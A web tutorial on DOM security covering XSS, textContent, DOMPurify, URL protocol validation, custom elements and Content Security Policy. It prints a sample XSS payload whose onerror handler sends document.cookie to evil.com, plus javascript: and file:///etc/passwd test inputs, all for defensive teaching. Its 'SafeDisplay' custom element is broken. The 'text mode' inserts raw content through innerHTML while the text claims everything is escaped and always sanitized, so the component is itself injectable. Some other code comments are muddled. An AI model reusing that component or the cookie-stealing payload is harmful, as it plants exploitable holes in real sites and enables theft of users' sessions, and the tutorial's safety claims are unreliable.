DOM Security — Complete Guide
In this tutorial, you will learn about DOM Security. We cover key concepts, practical examples, and best practices to help you master this topic.
DOM security involves preventing XSS Attacks through proper sanitization, using textContent over innerHTML, validating input, and securing custom elements.
What You'll Learn
- How XSS attacks work through DOM manipulation
- How to safely insert user-generated content into the DOM
- How to use sanitization libraries like DOMPurify
- How to secure custom elements and Shadow Dom
- How Content Security Policy protects against DOM-based attacks
Why It Matters
DOM-based XSS is one of the most common web security vulnerabilities. A single innerHTML with unsanitized user input can compromise user data, steal cookies, or perform actions on behalf of the user.
Real-World Use
- A comment system sanitizes user input before rendering
- A rich text editor strips dangerous HTML tags
- A messaging app prevents script injection in message content
flowchart LR
A[User Input] --> B{Source?}
B -->|Trusted| C[innerHTML OK]
B -->|Untrusted| D[Sanitize]
D --> E[DOMPurify]
D --> F[textContent]
D --> G[Create Element]
E --> H[Safe HTML]
F --> I[Plain text]
G --> J[Safe DOM]
Understanding DOM-Based XSS
XSS occurs when an attacker injects malicious scripts into content rendered by your page.
// VULNERABLE: Never do this
function displayUserComment(comment) {
// If comment contains <script>alert('xss')</script>,
// the script executes!
document.getElementById('comments').innerHTML +=
`<div class="comment">${comment}</div>`;
}
// The attacker can enter:
// <img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">
// This executes arbitrary JavaScript in the context of your page.
// SAFE: Use textContent
function displayUserCommentSafe(comment) {
const div = document.createElement('div');
div.className = 'comment';
div.textContent = comment; // Script tags become visible text
document.getElementById('comments').appendChild(div);
}
console.log('Warning: Never use innerHTML with user input');
Expected output: The unsafe version would execute injected scripts. The safe version displays the input as plain text. Always treat user input as untrusted.
Sanitization with DOMPurify
When you need to allow some HTML (bold, italic, links) but strip dangerous elements, use a sanitizer.
<script src="https://cdn.jsdelivr.net/npm/dompurify@3/dist/purify.min.js"></script>
// DOMPurify sanitizes HTML while allowing safe tags
const userInput = '<p>Hello <b>world</b>! <script>alert("xss")</script></p>';
const clean = DOMPurify.sanitize(userInput);
console.log('Before:', userInput);
console.log('After:', clean);
// The script tag is removed, but safe HTML is preserved
document.getElementById('content').innerHTML = clean;
// Configure allowed tags and attributes
const options = {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'li'],
ALLOWED_ATTR: ['href', 'class', 'target'],
ALLOW_DATA_ATTR: false
};
const restricted = DOMPurify.sanitize(userInput, options);
// Strip all HTML (like textContent but recognizes entities)
const textOnly = DOMPurify.sanitize(userInput, { ALLOWED_TAGS: [] });
console.log('Text only:', textOnly);
Expected output: The sanitized output contains <p>Hello <b>world</b>!</p> but the script tag is removed. The restricted version further limits allowed attributes.
Safe URL Handling
URLs can also be vectors for XSS via JavaScript: protocols.
// VULNERABLE: Direct URL insertion
function setUserLink(url) {
// If url is "javascript:alert('xss')", this executes on click
document.getElementById('user-link').href = url;
}
// SAFE: Validate the URL protocol
function setUserLinkSafe(url) {
const a = document.getElementById('user-link');
try {
const parsed = new URL(url);
// Only allow http: and https: protocols
if (parsed.protocol === 'http:' || parsed.protocol === 'https:') {
a.href = parsed.toString();
a.textContent = parsed.hostname;
} else {
a.href = '#';
a.textContent = 'Invalid URL';
console.warn('Blocked URL with protocol:', parsed.protocol);
}
} catch {
a.href = '#';
a.textContent = 'Invalid URL';
}
}
// Test cases
setUserLinkSafe('https://example.com');
setUserLinkSafe('javascript:alert("xss")');
setUserLinkSafe('file:///etc/passwd');
Expected output: Valid HTTP URLs are set as the link. Dangerous protocols (javascript:, file:) are blocked and the link is set to #.
Securing Custom Elements
Custom elements can introduce security issues if not careful.
class SafeDisplay extends HTMLElement {
constructor() {
super();
this.attachShadow({ mode: 'open' });
}
static get observedAttributes() {
return ['data-content', 'data-format'];
}
attributeChangedCallback(name, oldValue, newValue) {
if (name === 'data-content') {
this.render();
}
}
render() {
const content = this.getAttribute('data-content') || '';
const format = this.getAttribute('data-format') || 'text';
let output;
if (format === 'html') {
// Sanitize HTML content before rendering
output = DOMPurify.sanitize(content);
} else {
// Text mode: escape everything
output = content;
}
this.shadowRoot.innerHTML = `
<style>
.content { padding: 8px; border: 1px solid #ddd; }
</style>
<div class="content">${output}</div>
`;
console.log('Rendered safely:', format, 'mode');
}
}
customElements.define('safe-display', SafeDisplay);
// Usage:
// <safe-display data-content="<b>Bold text</b> <script>alert('xss')</script>"></safe-display>
// <safe-display data-content="<script>alert('xss')</script>" data-format="text"></safe-display>
Expected output: In HTML mode, the script tag is stripped but bold formatting is preserved. In text mode, even HTML tags are displayed as text. The component always sanitizes content before rendering.
Content Security Policy (CSP)
CSP is an HTTP header that prevents XSS even if your code has vulnerabilities.
// CSP is set via HTTP headers or meta tags:
// Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com
// CSP blocks inline scripts by default:
// <script>alert('xss')</script> ← BLOCKED by CSP
// <img src=x onerror=alert(1)> ← BLOCKED by CSP
// CSP restricts:
// script-src: where scripts can load from
// style-src: where styles can load from
// img-src: where images can load from
// connect-src: where fetch/XMLHttpRequest can connect to
// Check CSP in the browser:
console.log('CSP violations appear in the console');
console.log('Check: Response headers for Content-Security-Policy');
// CSP violations can be reported via reporting API
// Content-Security-Policy: default-src 'self'; report-uri /csp-report
// Even with vulnerabilities, CSP can prevent exploitation
// It is a defense-in-depth layer, not a replacement for sanitization
Expected output: In the browser console, CSP violations appear as errors (or reports). CSP blocks inline scripts and event handlers, preventing many XSS vectors even if innerHTML is used with unsanitized input.
JSON and Data Injection
When passing data through data attributes or JSON, always encode properly.
// VULNERABLE: Storing unsanitized data in data attributes
function setUserData(user) {
const el = document.getElementById('user-widget');
// If user.name contains a double quote, this breaks the attribute
el.setAttribute('data-user-info', JSON.stringify(user));
// The JSON encoding is actually safe here for the attribute value
}
// SAFE: Using dataset API
function setUserDataSafe(user) {
const el = document.getElementById('user-widget');
el.dataset.userId = user.id;
el.dataset.userName = user.name;
// dataset.setAttribute handles encoding automatically
// Store complex data safely in a JavaScript variable
// rather than in the DOM
}
// SAFE: For JSON in data attributes
function setComplexData(user) {
const el = document.getElementById('user-widget');
// JSON.stringify produces safe string for attribute values
// when set via setAttribute or dataset
el.dataset.userData = JSON.stringify({
id: user.id,
role: user.role
});
}
// Retrieve safely
function getComplexData(el) {
try {
return JSON.parse(el.dataset.userData);
} catch {
console.warn('Invalid JSON in data attribute');
return null;
}
}
Expected output: Data attributes are safely encoded. When reading them back, JSON.parse is wrapped in try-catch to handle invalid data gracefully.
Common Mistakes
- Using innerHTML with template literals containing user input —
${userInput}inside innerHTML is the most common XSS vector. Sanitize or use DOM methods. - Using
eval()ornew Function()with user input — These execute arbitrary code. Never use them with untrusted data. - Forgetting to sanitize SVG or MathML — These XML-based formats can contain event handlers. Sanitize them as well.
- Relying solely on CSP for XSS protection — CSP is defense-in-depth. Always sanitize input regardless of CSP.
- Exposing internal component data via DOM attributes — Sensitive information (tokens, keys) should never be stored in DOM attributes accessible to other scripts.
Practice Questions
- What is DOM-based XSS? A vulnerability where an attacker injects malicious scripts that execute in the context of the victim's page through unsafe DOM manipulation.
- How does textContent prevent XSS? It treats the string as plain text and does not parse HTML. Any HTML tags are displayed as literal text.
- What does DOMPurify do? It sanitizes HTML strings by removing dangerous elements and attributes while preserving safe HTML formatting.
- Challenge: Audit a simple HTML page for XSS vulnerabilities. Find at least 5 potential injection points (search params, URL hash, form inputs, data attributes, cookie values). For each, document the risk and implement the fix.
FAQ
Mini Project
Build a secure comment system. Each comment can contain text and safe HTML (bold, italic, links, lists). Use DOMPurify to sanitize comments before rendering. Implement URL validation for links (only http/https). Add a "Report" button that flags suspicious content. Use textContent for the user's display name and sanitized HTML for the comment body. Include a Content Security Policy meta tag that blocks inline scripts.
What's Next
Continue with Lesson 30: DOM Project to build a complete project that ties together all DOM concepts from the previous lessons.
Built by the developers of DodaTech
Doda Browser, DodaZIP & Durga Antivirus Pro